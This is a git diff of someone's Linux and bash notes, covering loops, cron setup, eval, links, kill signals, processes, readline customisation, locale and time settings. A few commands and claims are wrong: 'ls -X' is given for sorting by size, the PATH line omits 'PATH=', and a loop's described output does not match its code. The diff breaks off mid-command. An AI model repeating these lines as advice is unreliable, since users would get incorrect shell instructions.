|
||||
|
||||
# While and Until
|
||||
This prints from 1 until 9.
|
||||
|
||||
> COUNTER=1
|
||||
|
||||
> while [ $COUNTER -lt 2 ]; do
|
||||
|
||||
```bash
|
||||
COUNTER=1
|
||||
while [ $COUNTER -lt 2 ]; do
|
||||
> ((COUNTER++))
|
||||
|
||||
> echo $COUNTER
|
||||
|
||||
> done
|
||||
|
||||
```
|
||||
|
||||
There's also 'until', which stops when something is true, rather than keeping going when something is true.
|
||||
|
||||
# For
|
||||
|
||||
> for i in $( ls ); do
|
||||
```bash
|
||||
for i in $( ls ); do
|
||||
> du -sh $i
|
||||
> done
|
||||
```
|
||||
|
||||
# Sequences
|
||||
|
||||
@@ -71,13 +70,19 @@ The sequences tool counts up from X in jumps of Y to number Z.
|
||||
|
||||
Count from 1 to 10.
|
||||
|
||||
> seq 10
|
||||
```bash
|
||||
seq 10
|
||||
```
|
||||
|
||||
Count from 4 to 11.
|
||||
|
||||
> seq 4 11
|
||||
```bash
|
||||
seq 4 11
|
||||
```
|
||||
|
||||
Count from 1 to 100 in steps of 5.
|
||||
|
||||
> seq 1 5 100
|
||||
```bash
|
||||
seq 1 5 100
|
||||
```
|
||||
|
||||
|
139
basics/cron.md
139
basics/cron.md
@@ -1,29 +1,51 @@
|
||||
---
|
||||
title: "cron"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "time" ]
|
||||
---
|
||||
# Cron
|
||||
# Cronie
|
||||
|
||||
The crontab program might have various names, like `cronie` or `crond`.
|
||||
The `cronie` program is also known as `crond`.
|
||||
|
||||
> sudo apt search -n ^cron
|
||||
## Install
|
||||
|
||||
```bash
|
||||
sudo apt search -n ^cron
|
||||
```
|
||||
|
||||
Once installed, search for the service name, and start it.
|
||||
|
||||
> sudo systemctl list-unit-files | grep cron
|
||||
|
||||
> sudo systemctl enable --now cron
|
||||
|
||||
You can *e*dit your crontab with:
|
||||
|
||||
> crontab -e
|
||||
|
||||
|
||||
```bash
|
||||
sudo systemctl list-unit-files | grep cron
|
||||
sudo systemctl enable --now $NAME
|
||||
```
|
||||
|
||||
39 */3 * * * /usr/bin/updatedb
|
||||
## Usage
|
||||
|
||||
Show your current crontab:
|
||||
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
|
||||
You can put this in a file and edit it:
|
||||
|
||||
```bash
|
||||
crontab -l > $filename
|
||||
echo '39 3 */3 * * /bin/tar czf /tmp/etc_backup.tgz /etc/' >> $filename
|
||||
```
|
||||
|
||||
Then apply that crontab:
|
||||
|
||||
```bash
|
||||
crontab $filename
|
||||
rm $filename
|
||||
```
|
||||
|
||||
The `cron` program will check your syntax before adding the tab.
|
||||
|
||||
Your crontab file sits somewhere in `/var/spool/`.
|
||||
Probably in `/var/spool/cron`.
|
||||
|
||||
## Syntax
|
||||
|
||||
`* * * * *`
|
||||
@@ -43,76 +65,65 @@ Doing the same thing, but only in February, would be:
|
||||
|
||||
`0 15 * 2 7`
|
||||
|
||||
### Full Paths
|
||||
### Variables
|
||||
|
||||
Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is.
|
||||
Instead, find out where it is:
|
||||
`cronie` doesn't know where you live, so to put something in your `$HOME` directory, you have to tell it:
|
||||
|
||||
> type -P apt
|
||||
|
||||
`/usr/bin/apt`
|
||||
```bash
|
||||
echo "HOME=$HOME" > $filename
|
||||
crontab -l >> $filename
|
||||
crontab $filename
|
||||
```
|
||||
|
||||
Then put that into the crontab:
|
||||
`cronie` doesn't know where anything lives, including programs.
|
||||
You can give it your usual `$PATH` variable like this:
|
||||
|
||||
> sudo crontab -e
|
||||
|
||||
`40 */3 * * * /usr/bin/apt update -y`
|
||||
```bash
|
||||
echo $PATH > $filename
|
||||
crontab -l >> $filename
|
||||
crontab $filename
|
||||
```
|
||||
|
||||
This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40.
|
||||
Now instead of doing this
|
||||
|
||||
## Directories
|
||||
`40 */3 * * * /usr/bin/du -sh $HOME/* | sort -h > $HOME/sum.txt`
|
||||
|
||||
You can simply do this:
|
||||
|
||||
`40 */3 * * * du -sh $HOME/* | sort -h > $HOME/sum.txt`
|
||||
|
||||
## Run as Root
|
||||
|
||||
You can execute a script as root by putting it into a directory, instead of in the tab.
|
||||
Look at the available cron directories:
|
||||
|
||||
> ls /etc/cron.\*
|
||||
```bash
|
||||
ls -d /etc/cron.*
|
||||
```
|
||||
|
||||
Make a script which runs daily:
|
||||
|
||||
```bash
|
||||
f=apt_update.sh
|
||||
echo '#!/bin/bash' > $f
|
||||
echo 'apt update --yes' >> $f
|
||||
chmod +x $f
|
||||
sudo mv $f /etc/cron.daily/
|
||||
```
|
||||
|
||||
### Testing with runparts
|
||||
|
||||
Run-parts runs all executable scripts in a directory.
|
||||
|
||||
> run-parts /etc/cron.hourly
|
||||
```bash
|
||||
run-parts /etc/cron.hourly
|
||||
```
|
||||
|
||||
## Tips
|
||||
|
||||
### Variables
|
||||
|
||||
Add your `$HOME` to crontab to use scripts.
|
||||
First add `HOME=/home/user`, then you can use syntax like this:
|
||||
|
||||
0 * * * * $HOME/.scripts/myScript.sh
|
||||
|
||||
*Remember to test the script by executing that line first*:
|
||||
|
||||
> $HOME/.scripts/myScript.sh
|
||||
|
||||
You can also add your regular path to your crontab as a variable (see example below).
|
||||
If you're using vim as the editor, just run this at the top of your crontab:
|
||||
|
||||
> :r!echo PATH=$PATH
|
||||
# Troubleshooting
|
||||
|
||||
### `date` Commands
|
||||
|
||||
Cron doesn't understand the `%` sign, so if you want to use `date +%R`, then it should be escaped with a backslash: `date +\%R`.
|
||||
|
||||
### File Location
|
||||
|
||||
The crontab files are in `/var/spool/cron/`, so you can backup or restore them.
|
||||
|
||||
# Example
|
||||
|
||||
```
|
||||
HOME=/home/user
|
||||
PATH=/usr/condabin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/home/user/.local/bin:/home/user/.scripts/:/home/user/.local/bin:/home/user/.scripts/
|
||||
|
||||
1 0 1 * * /usr/bin/mkdir -p $HOME/arc/$(date +\%Y/\%m)
|
||||
|
||||
18 0 1 */3 * $HOME/.scripts/mail-clean.sh
|
||||
|
||||
* * * * * ping -c 1 home || mail-pull.sh
|
||||
|
||||
50 18 * * * /usr/bin/timeout 30m /usr/bin/syncthing
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
22
basics/eval.md
Normal file
22
basics/eval.md
Normal file
@@ -0,0 +1,22 @@
|
||||
---
|
||||
title: "eval"
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
|
||||
Compose a statement for execution.
|
||||
|
||||
```bash
|
||||
x='echo $y'
|
||||
echo $x
|
||||
y=dragon
|
||||
eval "$x"
|
||||
```
|
||||
|
||||
The results remain in the current shell, unlike sub-shells.
|
||||
|
||||
```bash
|
||||
b=basilisk
|
||||
sh -c 'echo $b'
|
||||
eval "g=goblin"
|
||||
echo $g
|
||||
```
|
11
basics/games.md
Normal file
11
basics/games.md
Normal file
@@ -0,0 +1,11 @@
|
||||
---
|
||||
title: "bash games"
|
||||
tags: [ "games" ]
|
||||
---
|
||||
|
||||
Games are a great way to learn bash.
|
||||
|
||||
- `mapscii.me` is an interactive terminal map.
|
||||
1. Install telnet.
|
||||
1. `telnet mapscii.me`
|
||||
- [Over the Wire](https://overthewire.org/wargames) teaches bash with small challenging you can do over `ssh`.
|
38
basics/hard_links.md
Normal file
38
basics/hard_links.md
Normal file
@@ -0,0 +1,38 @@
|
||||
---
|
||||
title: "hard links"
|
||||
tags: [ "basics", "links" ]
|
||||
---
|
||||
|
||||
A hard link is one file which exists in multiple locations.
|
||||
|
||||
Each file has an ID, which is kept on the hard disk's partition.
|
||||
Each hard link has the same ID, because they are the same file.
|
||||
This ID is called the 'inode'.
|
||||
|
||||
Create a file, and a hard link:
|
||||
|
||||
```bash
|
||||
fortune > $file_1
|
||||
mkdir -p x/y/z/
|
||||
ln $file_1 x/y/z/$file_2
|
||||
```
|
||||
Have a long look at the file with the `-l` flag, and check the inode with `-i`:
|
||||
|
||||
```bash
|
||||
ls -li $file_1 x/y/z/$file_2
|
||||
```
|
||||
|
||||
Since they are the same file, you can make a change to one, and it changes both:
|
||||
|
||||
```bash
|
||||
fortune | tee x/y/z/$file_2
|
||||
cat $file_1
|
||||
cat x/y/z/$file_2
|
||||
```
|
||||
|
||||
# Danger Zone
|
||||
|
||||
- hard links will not work on directories, only standard files and fifos.
|
||||
- `git` will destroy and remake files, so it will not respect hard links.
|
||||
- Files cannot have a hard link on another disk partition, because the inode is stored on each partition.
|
||||
|
25
basics/joyous_ascii.md
Normal file
25
basics/joyous_ascii.md
Normal file
@@ -0,0 +1,25 @@
|
||||
---
|
||||
title: "Joyous ASCII"
|
||||
tags: [ "fun" ]
|
||||
---
|
||||
|
||||
- `asciiquarium`
|
||||
- `cbonsai -lim "$(fortune)"`
|
||||
|
||||
```sh
|
||||
cow=$(cowsay -l | sort -R | head -1)
|
||||
fortune -s | figlet | cowsay -nf $cow | lolcat
|
||||
```
|
||||
|
||||
Watch the [Collatz Conjecture](https://en.wikipedia.org/wiki/Collatz_conjecture) collapse:
|
||||
|
||||
```sh
|
||||
x="$(du -sc ~/.cache | tr -d '[:alpha:]' | tail -1)"
|
||||
until [ "$x" -eq "1" ]; do
|
||||
test "$(( x % 2 ))" -eq 0 && x=$(( x / 2 )) || \
|
||||
x=$(( x * 3 + 1 ))
|
||||
clear -x
|
||||
figlet "$x" | lolcat
|
||||
sleep 1
|
||||
done
|
||||
```
|
@@ -1,26 +0,0 @@
|
||||
---
|
||||
title: "kernel"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
---
|
||||
## Living Space
|
||||
|
||||
Kernel modules live in lib/modules/$(uname -r)
|
||||
|
||||
## Change
|
||||
|
||||
Load them with
|
||||
|
||||
> sudo modprobe ath9k
|
||||
|
||||
Or remove one with
|
||||
|
||||
> sudo modprove uvcvideo
|
||||
|
||||
The PC's irritating speaker beep can be really annoying. Disable it with:
|
||||
|
||||
> sudo modprobe -r pcspeaker
|
||||
|
||||
Permanently disable a module by blacklisting it in `/etc/modprobe.d`:
|
||||
|
||||
> echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
|
||||
|
@@ -1,13 +1,15 @@
|
||||
---
|
||||
title: "kill"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
|
||||
If you want to kill a program in a graphical environment, open a terminal and type:
|
||||
|
||||
# Graphical Programs
|
||||
|
||||
> xkill
|
||||
```bash
|
||||
xkill
|
||||
```
|
||||
|
||||
Then click on the application which you want to kill.
|
||||
|
||||
@@ -15,23 +17,31 @@ Then click on the application which you want to kill.
|
||||
|
||||
To kill a program, find it with:
|
||||
|
||||
> pgrep discord
|
||||
```bash
|
||||
pgrep discord
|
||||
```
|
||||
|
||||
This will give you the UUID, e.g. `19643`.
|
||||
|
||||
Kill the program with:
|
||||
|
||||
> kill 19643
|
||||
```bash
|
||||
kill 19643
|
||||
```
|
||||
|
||||
# Types of Kill
|
||||
|
||||
To see an ordered list of termination signals:
|
||||
|
||||
> kill -l
|
||||
```bash
|
||||
kill -l
|
||||
```
|
||||
|
||||
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
|
||||
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
|
||||
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
|
||||
> 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
|
||||
|
||||
> 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
|
||||
|
||||
> 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
|
||||
|
||||
|
||||
You can select these levels with a '- number'.
|
||||
@@ -39,18 +49,24 @@ Higher numbers are roughly equivalent to insistence.
|
||||
|
||||
For example:
|
||||
|
||||
> kill -1 3498
|
||||
```bash
|
||||
kill -1 3498
|
||||
```
|
||||
|
||||
This roughly means 'maybe stop the program, if you can, maybe reload'.
|
||||
|
||||
Or the famous:
|
||||
|
||||
> kill -9 3298
|
||||
```bash
|
||||
kill -9 3298
|
||||
```
|
||||
|
||||
This means 'kill the program dead, now, no questions, dead'.
|
||||
|
||||
**Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless.
|
||||
|
||||
# Sobriquets
|
||||
|
||||
- A dead program which sits there doing nothing is known as a 'zombie'.
|
||||
- A program which is run by another program is called a 'child program'.
|
||||
- A child whose parent program is dead is called an 'orphan'.
|
||||
|
@@ -1,15 +1,9 @@
|
||||
---
|
||||
title: "links"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "links" ]
|
||||
---
|
||||
Link from X to Y.
|
||||
|
||||
> ln -s X ../otherdir/Y
|
||||
|
||||
If you want a hard link, this will make a single file exist in two locations.
|
||||
If it is deleted in one location, it continues to exist in the other.
|
||||
|
||||
> ln *X* *Y*
|
||||
|
||||
Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`).
|
||||
There are two types:
|
||||
|
||||
- [Soft links](soft_links.md)
|
||||
- [Hard links](hard_links.md)
|
||||
|
@@ -1,31 +1,42 @@
|
||||
---
|
||||
title: "locale"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "time" ]
|
||||
---
|
||||
|
||||
Your locale tells the computer your location, preferred time-and-date format, standard language, papersize, et c.
|
||||
A list of supported locales is available at /usr/share/i18n/SUPPORTED
|
||||
|
||||
See a full list with:
|
||||
|
||||
> cat /usr/share/i18n/SUPPORTED
|
||||
```bash
|
||||
cat /usr/share/i18n/SUPPORTED
|
||||
```
|
||||
|
||||
Take the first portion to generate full locale information for a region:
|
||||
|
||||
> locale-gen ru_RU.UTF-8
|
||||
```bash
|
||||
locale-gen ru_RU.UTF-8
|
||||
```
|
||||
|
||||
Then use this for the current shell session with
|
||||
|
||||
> LANG=ru_RU.utf8
|
||||
```bash
|
||||
LANG=ru_RU.utf8
|
||||
```
|
||||
|
||||
Expand this to the entire system with:
|
||||
|
||||
> export LANG=ru_RU.utf8
|
||||
```bash
|
||||
export LANG=ru_RU.utf8
|
||||
```
|
||||
|
||||
You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc.
|
||||
|
||||
Make it permanent for the entire system by editing:
|
||||
|
||||
> sudo vim /etc/defaults/locale
|
||||
```bash
|
||||
sudo vim /etc/defaults/locale
|
||||
```
|
||||
|
||||
# Variables
|
||||
|
||||
|
@@ -1,33 +1,33 @@
|
||||
---
|
||||
title: "locating"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
# Type
|
||||
|
||||
`type` shows what kind of thing you're running, be it an alias, function, or binary program.
|
||||
|
||||
> type cmus
|
||||
```sh
|
||||
type cd
|
||||
type ls
|
||||
type -P ls
|
||||
type -a cat
|
||||
```
|
||||
|
||||
# Whereis the Program
|
||||
|
||||
Ask where the `angband` program is, along with all its configuration files:
|
||||
Where is `grep` and all its configuration files?
|
||||
|
||||
`whereis angband`
|
||||
```sh
|
||||
whereis grep
|
||||
```
|
||||
|
||||
Also `which` shows where a binary file (the program) is,
|
||||
Which one of these is the binary file which you actually use?
|
||||
|
||||
> which cmus
|
||||
```sh
|
||||
which grep
|
||||
```
|
||||
|
||||
# Quick Search for Files
|
||||
# More
|
||||
|
||||
You'll need to set up `locate` for this by installing `mlocate`.
|
||||
`mlocate` needs a list of all files on the machine, so run:
|
||||
|
||||
> sudo updatedb
|
||||
|
||||
Then to find a file called 'my-cats.jpg', run:
|
||||
|
||||
> locate cats
|
||||
|
||||
For best results, run `updatedb` regularly, perhaps in crontab.
|
||||
- [Search instantly with `plocate`](data/search_system.md)
|
||||
|
||||
|
46
basics/ls.md
Normal file
46
basics/ls.md
Normal file
@@ -0,0 +1,46 @@
|
||||
---
|
||||
title: "ls"
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
|
||||
Firstly, your `ls` is probably aliased to something.
|
||||
|
||||
Check it with:
|
||||
|
||||
|
||||
```bash
|
||||
alias ls
|
||||
```
|
||||
If the prompt shows some alias, then start by removing it:
|
||||
|
||||
|
||||
```bash
|
||||
unalias ls
|
||||
```
|
||||
|
||||
Now we can begin.
|
||||
|
||||
Check the most recently modified file:
|
||||
|
||||
|
||||
```bash
|
||||
ls -t
|
||||
```
|
||||
|
||||
Reverse this with `tac` to see the file which has been unmodified the longest:
|
||||
|
||||
|
||||
```bash
|
||||
ls -t | tac
|
||||
```
|
||||
Group files by extension:
|
||||
|
||||
```bash
|
||||
ls -X
|
||||
```
|
||||
Sort largest files first:
|
||||
|
||||
```bash
|
||||
ls -X
|
||||
```
|
||||
|
@@ -1,28 +1,38 @@
|
||||
---
|
||||
title: "processes"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics" ]
|
||||
---
|
||||
# Proccesses
|
||||
|
||||
See running items in current terminal with
|
||||
|
||||
> ps
|
||||
```bash
|
||||
ps
|
||||
```
|
||||
|
||||
or more with
|
||||
|
||||
> ps -a
|
||||
```bash
|
||||
ps -a
|
||||
```
|
||||
|
||||
Or the entire system with
|
||||
|
||||
> ps -e
|
||||
```bash
|
||||
ps -e
|
||||
```
|
||||
|
||||
Or the entire system with more information, BSD style, with:
|
||||
|
||||
> ps aux
|
||||
```bash
|
||||
ps aux
|
||||
```
|
||||
|
||||
And then search for a particular program with
|
||||
|
||||
> ps aux | grep cmus
|
||||
```bash
|
||||
ps aux | grep cmus
|
||||
```
|
||||
|
||||
# Jobs
|
||||
|
||||
@@ -30,15 +40,21 @@ Pause a job with ^z. Put it in the background with the '&' suffix.
|
||||
|
||||
List jobs in the current shell with
|
||||
|
||||
> jobs
|
||||
```bash
|
||||
jobs
|
||||
```
|
||||
|
||||
And then you can pull number 1 up again with
|
||||
|
||||
> fg 1
|
||||
```bash
|
||||
fg 1
|
||||
```
|
||||
|
||||
Or continue running a stopped job with:
|
||||
|
||||
> bg 1
|
||||
```bash
|
||||
bg 1
|
||||
```
|
||||
|
||||
# Nice
|
||||
|
||||
@@ -46,21 +62,31 @@ This changes how nice a program is, from -20 to 19.
|
||||
|
||||
Install a program, but nicely, at nice value '10':
|
||||
|
||||
> nice -10 sudo apt -y install libreoffice
|
||||
```bash
|
||||
nice -10 sudo apt -y install libreoffice
|
||||
```
|
||||
|
||||
Aggressively use Steam, with a nice value of '-13'.
|
||||
|
||||
> nice --13 steam&
|
||||
```bash
|
||||
nice --13 steam&
|
||||
```
|
||||
|
||||
Find out that Steam's fucking everything up, so you change its nice value with 'renice':
|
||||
|
||||
> renice --5 -p 3781
|
||||
```bash
|
||||
renice --5 -p 3781
|
||||
```
|
||||
|
||||
Nerf all of roach-1's processes:
|
||||
|
||||
> renice 10 -u roach-1
|
||||
```bash
|
||||
renice 10 -u roach-1
|
||||
```
|
||||
|
||||
... or the entire group
|
||||
|
||||
> renice -14 -g hackers
|
||||
```bash
|
||||
renice -14 -g hackers
|
||||
```
|
||||
|
||||
|
180
basics/setup/quality_of_life.md
Normal file
180
basics/setup/quality_of_life.md
Normal file
@@ -0,0 +1,180 @@
|
||||
---
|
||||
title: "Quality of Life"
|
||||
tags: [ "basics", "setup" ]
|
||||
dependencies: [ "vi", "basics" ]
|
||||
---
|
||||
|
||||
This & That
|
||||
===========
|
||||
|
||||
Refer to 'that last thing', and 'the first thing':
|
||||
|
||||
```bash
|
||||
fortune -l > file1
|
||||
cat !$ | tr -d u
|
||||
diff !^ !$
|
||||
```
|
||||
|
||||
**NB:** this can go wrong:
|
||||
|
||||
```bash
|
||||
ls -l file1 file2
|
||||
cat !^
|
||||
```
|
||||
|
||||
Done
|
||||
----
|
||||
|
||||
`<C-d>`
|
||||
|
||||
- If you have a command, Control + d will execute the command.
|
||||
- If you have nothing, `exit`.
|
||||
|
||||
Input Run-Commands (`~/.inputrc`)
|
||||
=================================
|
||||
|
||||
Alias Expansion
|
||||
---------------
|
||||
|
||||
```bash
|
||||
echo '"\C- ": shell-expand-line' >> ~/.inputrc
|
||||
exec bash
|
||||
```
|
||||
|
||||
Now you can expand all aliases with 'Control + Space'.
|
||||
Try just `ls`, then 'Control + Space'.
|
||||
|
||||
Glob Expansion (`*`)
|
||||
--------------------
|
||||
|
||||
```bash
|
||||
echo '"\C-x": glob-expand-word' >> ~/.inputrc
|
||||
exec bash
|
||||
ls *<C-x>
|
||||
```
|
||||
|
||||
- Are you sure you want to delete that?
|
||||
* `rm -r *<C-x>`
|
||||
- Clean up the Downloads folder:
|
||||
* `rm Downloads/*pdf<C-x>`
|
||||
|
||||
Arbitrary Commands
|
||||
------------------
|
||||
|
||||
Use `\n` as a 'newline' character to automatically press `<Return>`.
|
||||
|
||||
```bash
|
||||
echo 'Control-y: "| lolcat\n"' >> ~/.inputrc
|
||||
exec bash
|
||||
ls<C-y>
|
||||
```
|
||||
|
||||
```bash
|
||||
Control-l: "\C-u clear -x && ls\n"
|
||||
exec bash
|
||||
cd /etc/<C-l>
|
||||
```
|
||||
|
||||
Readline as Vi
|
||||
--------------
|
||||
|
||||
```bash
|
||||
echo 'set editing-mode vi' >> ~/.inputrc
|
||||
echo 'set keymap vi-insert' >> ~/.inputrc
|
||||
exec bash
|
||||
```
|
||||
|
||||
The prompt now works according to `vi`-motions.
|
||||
This goes much further than the bash-option, `set -o vi` ('set option: `vi`').
|
||||
It changes the cursor in the terminal, not just bash.
|
||||
|
||||
Try:
|
||||
|
||||
- `ls <C-n>`
|
||||
- `ls <C-p>`
|
||||
- Type some words.
|
||||
- `<Esc>0dw$p`
|
||||
- <Esc> to normal-mode, and go back with 'b', and forward with 'e'.
|
||||
- `4b` to step back four times.
|
||||
- `cE`
|
||||
- `<Esc>kcw`
|
||||
- ls -a<Esc>xxxx
|
||||
|
||||
Works with `python` too:
|
||||
|
||||
```python
|
||||
im<C-n>os<Return>
|
||||
os.li<C-n><Return>
|
||||
<Esc>kfn
|
||||
<C-d>
|
||||
```
|
||||
|
||||
Fix Globs!
|
||||
----------
|
||||
|
||||
If you tried the previous commands then they will not work any more, because the `vi`-commands overwrite the other commands.
|
||||
Remove them.
|
||||
|
||||
```bash
|
||||
sed '/ vi/d' ~/.inputrc
|
||||
sed -i '/ vi/d' ~/.inputrc
|
||||
|
||||
sed '1 i set editing-mode vi' .inputrc
|
||||
sed -i '1 i set editing-mode vi' ~/.inputrc
|
||||
sed -i '2 i set keymap vi-insert' ~/.inputrc
|
||||
```
|
||||
|
||||
Vi-sibility
|
||||
-----------
|
||||
|
||||
The `readline` prompt becomes confusing if you don't remember if you're in insert or normal mode.
|
||||
But you can show the current mode in the prompt:
|
||||
|
||||
```bash
|
||||
echo 'set show-mode-in-prompt on' >> ~/.inputrc
|
||||
exec bash
|
||||
```
|
||||
|
||||
Set new symbols for normal and insert mode:
|
||||
|
||||
```bash
|
||||
echo 'set vi-ins-mode-string " "' >> ~/.inputrc
|
||||
echo 'set vi-cmd-mode-string " "' >> ~/.inputrc
|
||||
```
|
||||
|
||||
Fuzzy Sort
|
||||
==========
|
||||
|
||||
Check your repos for `sk-im`, and install.
|
||||
The program is called `sk`.
|
||||
|
||||
```bash
|
||||
FUZZY=sk
|
||||
```
|
||||
|
||||
If you don't have it, `fzy` or `fzf` should work the same way.
|
||||
|
||||
```bash
|
||||
FUZZY=fzy
|
||||
```
|
||||
|
||||
Find some 'read-config' files to check out:
|
||||
|
||||
```bash
|
||||
find . -maxdepth 2 -name "*rc"
|
||||
find . -maxdepth 2 -name "*rc" | $FUZZY
|
||||
```
|
||||
|
||||
And read some:
|
||||
|
||||
```bash
|
||||
PAGER='less -R'
|
||||
$PAGER "$(find . -maxdepth 2 -name "*rc" | $FUZZY)"
|
||||
```
|
||||
|
||||
Make the change long-term:
|
||||
|
||||
```bash
|
||||
alias rrc='$PAGER "$(find . -maxdepth 2 -name "*rc" | sk)"'
|
||||
alias | grep rrc= >> ~/.bash_aliases
|
||||
```
|
72
basics/soft_links.md
Normal file
72
basics/soft_links.md
Normal file
@@ -0,0 +1,72 @@
|
||||
---
|
||||
title: "soft links"
|
||||
tags: [ "basics", "links" ]
|
||||
---
|
||||
A soft link is a file which says how to go to another file.
|
||||
When a program encounters a soft link, it will make a guess at whether it should ignore it, or try to get to that file.
|
||||
|
||||
To make a soft link to a file in the current directory, linking is easy:
|
||||
|
||||
```bash
|
||||
fortune > $file_1
|
||||
ln -s $file_1 $link_1
|
||||
```
|
||||
|
||||
Now imagine your directory looks like this:
|
||||
|
||||
```
|
||||
dir_0/
|
||||
├── dir_1
|
||||
│ └── file_1
|
||||
├── dir_2
|
||||
│ └── file_1
|
||||
├── file_1
|
||||
└── link_1
|
||||
|
||||
```
|
||||
|
||||
Inside `dir_1`, making a soft link to `dir_0/file_1` would mean putting the directions to that file:
|
||||
|
||||
```bash
|
||||
cd dir_1
|
||||
ln -s ../file_1 link_1
|
||||
```
|
||||
|
||||
The real content of the file is just '`../file_1`, so making it from another directory would mean writing exactly the same address to that file:
|
||||
|
||||
```bash
|
||||
ln -s ../file_1 dir_2/link_2
|
||||
```
|
||||
|
||||
Both symlinks are identical, except for the name.
|
||||
|
||||
```
|
||||
dir_0/
|
||||
├── dir_1
|
||||
│ ├── file_1
|
||||
│ └── link_1 <-- This one points to ../file_1
|
||||
├── dir_2
|
||||
│ ├── file_1
|
||||
│ └── link_2 <-- This one points to ../file_1 as well.
|
||||
└── file_2
|
||||
|
||||
```
|
||||
|
||||
Since it's just an address, you can delete the original file, then make another.
|
||||
|
||||
```bash
|
||||
rm file_1
|
||||
ls -l dir_1/
|
||||
fortune > file_1
|
||||
cat dir_2/link_2
|
||||
fortune | tee -a file_1
|
||||
cat dir_1/link_1
|
||||
```
|
||||
|
||||
Last, let's make a link from `dir_2/link_2` to `dir_1/file_1` (this will delete the old link):
|
||||
|
||||
```bash
|
||||
ln -s -f ../dir_1/file_1 dir_2/link_2
|
||||
cat dir_2/link_2
|
||||
```
|
||||
|
@@ -1,12 +1,14 @@
|
||||
---
|
||||
title: "time"
|
||||
tags: [ "Documentation", "Basics" ]
|
||||
tags: [ "basics", "time" ]
|
||||
---
|
||||
# systemd
|
||||
|
||||
Set time to synchronize with an ntp server:
|
||||
|
||||
> timedatectl set-ntp true
|
||||
```bash
|
||||
timedatectl set-ntp true
|
||||
```
|
||||
|
||||
This info stays in `/usr/share/zoneinfo`.
|
||||
|
||||
@@ -16,7 +18,9 @@ Local time is kept in /etc/localtime.
|
||||
|
||||
According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so:
|
||||
|
||||
> sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```bash
|
||||
sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
|
||||
```
|
||||
|
||||
...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not.
|
||||
|
||||
@@ -24,31 +28,51 @@ According to Dave's LPIC guide, you can set the local time by making asymboling
|
||||
|
||||
See local time, language and character settings with:
|
||||
|
||||
> locale
|
||||
```bash
|
||||
locale
|
||||
```
|
||||
|
||||
List available locales with:
|
||||
|
||||
> locale -a
|
||||
```bash
|
||||
locale -a
|
||||
```
|
||||
|
||||
To see additional locales which are available (but not necessarily installed):
|
||||
|
||||
> cat /usr/share/i18n/SUPPORTED
|
||||
```bash
|
||||
cat /usr/share/i18n/SUPPORTED
|
||||
```
|
||||
|
||||
Set a supported locale with:
|
||||
|
||||
> locale-gen pl_PL.UTF-8
|
||||
```bash
|
||||
locale-gen pl_PL.UTF-8
|
||||
```
|
||||
|
||||
Then set that language, with:
|
||||
|
||||
> LANG=pl_PL.UTF-8
|
||||
```bash
|
||||
LANG=pl_PL.UTF-8
|
||||
```
|
||||
|
||||
... then reboot.
|
||||
...then reboot.
|
||||
|
||||
# Network Time Protocol
|
||||
|
||||
Glimpse an overview with:
|
||||
|
||||
> ntpq -p
|
||||
```bash
|
||||
ntpq -p
|
||||
```
|
||||
|
||||
Usually this is run as a service, so just start that service.
|
||||
|
||||
# Force Reset
|
||||
|
||||
If your clock drifts too far from the right time, it will not reset happily.
|
||||
For it to reset like this:
|
||||
|
||||
```bash
|
||||
sudo ntpd -q -g -x -n
|
||||
```
|
||||
|
36
basics/tree.md
Normal file
36
basics/tree.md
Normal file
@@ -0,0 +1,36 @@
|
||||
---
|
||||
title: "tree"
|
||||
tags: [ "basics", "tree", "markdown" ]
|
||||
---
|
||||
|
||||
The `tree` utility outputs a full listing of everything in your current directory, and those below.
|
||||
|
||||
- Just directories: `tree -d`
|
||||
- Output colour to `less`: `tree -C --info | less -re`
|
||||
- Ignore files in the `.gitignore` file: `tree --gitignore`
|
||||
|
||||
You can place information about the files in a directory to use with the `tree --info` option, like this:
|
||||
|
||||
```
|
||||
config
|
||||
Config files.
|
||||
This is a git submodule.
|
||||
README.md
|
||||
Summary of the git.
|
||||
*.jpg
|
||||
Little picture, does not display
|
||||
words well.
|
||||
```
|
||||
|
||||
Each description-line starts with a tab.
|
||||
|
||||
## Markdown Conversion
|
||||
|
||||
To represent a file structure as a nested series of markdown lists, you can try this horrifying `sed` one-liner:
|
||||
|
||||
```bash
|
||||
tree -tf --dirsfirst --gitignore --noreport --charset ascii | \
|
||||
sed -e 's/| \+/ /g' \
|
||||
-e 's/[|`]-\+/ */g' \
|
||||
